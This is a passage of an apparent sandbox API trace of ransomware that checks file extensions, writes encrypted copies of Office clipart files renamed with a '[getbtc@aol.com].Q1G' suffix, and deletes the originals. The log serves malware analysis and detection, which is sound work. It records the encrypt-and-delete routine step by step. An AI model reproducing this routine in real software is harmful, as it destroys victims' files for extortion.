lpString2="6.WMF") returned -1 [0257.760] lstrlenW (lpString=".pdf") returned 4 [0257.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.760] lstrlenW (lpString=".xls") returned 4 [0257.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.760] lstrlenW (lpString=".xlsx") returned 5 [0257.760] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.760] lstrlenW (lpString=".ppt") returned 4 [0257.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.761] lstrlenW (lpString=".zip") returned 4 [0257.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.761] lstrlenW (lpString=".rar") returned 4 [0257.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.761] lstrlenW (lpString=".bz2") returned 4 [0257.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.761] lstrlenW (lpString=".7z") returned 3 [0257.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.761] lstrlenW (lpString=".dbf") returned 4 [0257.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.761] lstrlenW (lpString=".1cd") returned 4 [0257.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.761] lstrlenW (lpString=".jpg") returned 4 [0257.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.761] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.761] lstrlenW (lpString="J0106146.WMF") returned 12 [0257.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.762] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=23548) returned 1 [0257.762] CloseHandle (hObject=0x3dc) returned 1 [0257.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 0x20 [0257.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.762] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.762] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.763] GetLastError () returned 0x0 [0257.763] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x5bfc, lpOverlapped=0x0) returned 1 [0257.789] WriteFile (in: hFile=0x3e4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x5c00, lpOverlapped=0x0) returned 1 [0257.790] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.790] WriteFile (in: hFile=0x3e4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.790] SetEndOfFile (hFile=0x3e4) returned 1 [0257.790] CloseHandle (hObject=0x3e4) returned 1 [0257.790] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.790] SetEndOfFile (hFile=0x3dc) returned 1 [0257.794] CloseHandle (hObject=0x3dc) returned 1 [0257.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0257.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.859] lstrlenW (lpString=".doc") returned 4 [0257.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.859] lstrlenW (lpString=".docx") returned 5 [0257.859] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.859] lstrlenW (lpString=".pdf") returned 4 [0257.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.859] lstrlenW (lpString=".xls") returned 4 [0257.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.859] lstrlenW (lpString=".xlsx") returned 5 [0257.859] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.859] lstrlenW (lpString=".ppt") returned 4 [0257.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.859] lstrlenW (lpString=".zip") returned 4 [0257.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.860] lstrlenW (lpString=".rar") returned 4 [0257.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.860] lstrlenW (lpString=".bz2") returned 4 [0257.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.860] lstrlenW (lpString=".7z") returned 3 [0257.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.860] lstrlenW (lpString=".dbf") returned 4 [0257.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.860] lstrlenW (lpString=".1cd") returned 4 [0257.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.860] lstrlenW (lpString=".jpg") returned 4 [0257.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.860] lstrlenW (lpString=".doc") returned 4 [0257.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.860] lstrlenW (lpString=".docx") returned 5 [0257.860] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.860] lstrlenW (lpString=".pdf") returned 4 [0257.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.860] lstrlenW (lpString=".xls") returned 4 [0257.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.860] lstrlenW (lpString=".xlsx") returned 5 [0257.860] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.860] lstrlenW (lpString=".ppt") returned 4 [0257.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.860] lstrlenW (lpString=".zip") returned 4 [0257.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.860] lstrlenW (lpString=".rar") returned 4 [0257.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.860] lstrlenW (lpString=".bz2") returned 4 [0257.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.861] lstrlenW (lpString=".7z") returned 3 [0257.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.861] lstrlenW (lpString=".dbf") returned 4 [0257.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.861] lstrlenW (lpString=".1cd") returned 4 [0257.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0257.861] lstrlenW (lpString=".jpg") returned 4 [0257.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.861] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.861] lstrlenW (lpString="J0106222.WMF") returned 12 [0257.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.872] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=19600) returned 1 [0257.872] CloseHandle (hObject=0x3dc) returned 1 [0257.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 0x20 [0257.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.948] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.948] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.958] GetLastError () returned 0x0 [0257.967] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x4c90, lpOverlapped=0x0) returned 1 [0257.988] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0257.989] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.989] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.989] SetEndOfFile (hFile=0x3e0) returned 1 [0257.989] CloseHandle (hObject=0x3e0) returned 1 [0257.989] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.989] SetEndOfFile (hFile=0x3dc) returned 1 [0257.993] CloseHandle (hObject=0x3dc) returned 1 [0257.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0257.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.994] lstrlenW (lpString=".doc") returned 4 [0257.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.994] lstrlenW (lpString=".docx") returned 5 [0257.994] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.994] lstrlenW (lpString=".pdf") returned 4 [0257.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.994] lstrlenW (lpString=".xls") returned 4 [0257.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.994] lstrlenW (lpString=".xlsx") returned 5 [0257.994] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.994] lstrlenW (lpString=".ppt") returned 4 [0257.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.994] lstrlenW (lpString=".zip") returned 4 [0257.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.994] lstrlenW (lpString=".rar") returned 4 [0257.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.994] lstrlenW (lpString=".bz2") returned 4 [0257.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.994] lstrlenW (lpString=".7z") returned 3 [0257.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.994] lstrlenW (lpString=".dbf") returned 4 [0257.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.994] lstrlenW (lpString=".1cd") returned 4 [0257.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.994] lstrlenW (lpString=".jpg") returned 4 [0257.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.994] lstrlenW (lpString=".doc") returned 4 [0257.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.994] lstrlenW (lpString=".docx") returned 5 [0257.995] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.995] lstrlenW (lpString=".pdf") returned 4 [0257.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.995] lstrlenW (lpString=".xls") returned 4 [0257.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.995] lstrlenW (lpString=".xlsx") returned 5 [0257.995] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.995] lstrlenW (lpString=".ppt") returned 4 [0257.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.995] lstrlenW (lpString=".zip") returned 4 [0257.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.995] lstrlenW (lpString=".rar") returned 4 [0257.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.995] lstrlenW (lpString=".bz2") returned 4 [0257.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.995] lstrlenW (lpString=".7z") returned 3 [0257.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.995] lstrlenW (lpString=".dbf") returned 4 [0257.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.995] lstrlenW (lpString=".1cd") returned 4 [0257.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0257.995] lstrlenW (lpString=".jpg") returned 4 [0257.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.995] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.995] lstrlenW (lpString="J0107090.WMF") returned 12 [0257.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.996] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=14132) returned 1 [0257.996] CloseHandle (hObject=0x3dc) returned 1 [0257.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 0x20 [0257.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.997] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.997] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.997] GetLastError () returned 0x0 [0257.997] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3734, lpOverlapped=0x0) returned 1 [0257.999] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3740, lpOverlapped=0x0) returned 1 [0258.000] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.000] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.000] SetEndOfFile (hFile=0x3e0) returned 1 [0258.000] CloseHandle (hObject=0x3e0) returned 1 [0258.000] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.000] SetEndOfFile (hFile=0x3dc) returned 1 [0258.002] CloseHandle (hObject=0x3dc) returned 1 [0258.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0258.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.003] lstrlenW (lpString=".doc") returned 4 [0258.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.003] lstrlenW (lpString=".docx") returned 5 [0258.003] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.003] lstrlenW (lpString=".pdf") returned 4 [0258.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.003] lstrlenW (lpString=".xls") returned 4 [0258.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.004] lstrlenW (lpString=".xlsx") returned 5 [0258.004] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.004] lstrlenW (lpString=".ppt") returned 4 [0258.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.004] lstrlenW (lpString=".zip") returned 4 [0258.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.004] lstrlenW (lpString=".rar") returned 4 [0258.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.004] lstrlenW (lpString=".bz2") returned 4 [0258.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.004] lstrlenW (lpString=".7z") returned 3 [0258.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.004] lstrlenW (lpString=".dbf") returned 4 [0258.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.004] lstrlenW (lpString=".1cd") returned 4 [0258.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.004] lstrlenW (lpString=".jpg") returned 4 [0258.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.004] lstrlenW (lpString=".doc") returned 4 [0258.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.004] lstrlenW (lpString=".docx") returned 5 [0258.004] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.004] lstrlenW (lpString=".pdf") returned 4 [0258.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.004] lstrlenW (lpString=".xls") returned 4 [0258.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.004] lstrlenW (lpString=".xlsx") returned 5 [0258.004] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.004] lstrlenW (lpString=".ppt") returned 4 [0258.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.004] lstrlenW (lpString=".zip") returned 4 [0258.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") 